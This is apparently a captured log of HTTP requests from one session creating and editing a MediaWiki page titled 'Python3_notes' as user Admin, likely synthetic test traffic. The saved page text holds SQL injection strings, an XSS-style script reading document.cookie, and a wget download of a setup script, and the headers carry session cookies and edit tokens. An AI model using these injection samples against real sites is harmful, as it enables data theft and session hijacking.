{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1722", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3326", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQNQnbmS4ZVnKScr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr--\r\n"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3320", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykls0Dipt2ipQMyNX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX--\r\n"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision6=created; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 286", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&text=%3D%3D+Install+%3D%3D%0ARun+python3+and+ls+-la.%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 294", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+python3&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&stashedtexthash=d0421394053f14ddb1f57a01b31f24db41037dbe&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypB0FpyADbvwzBWrz", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun python3 and ls -la.\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ python3\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz--\r\n"}
{"method": "GET", "target": "/index.php?title=Python3_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=python3&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpython3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
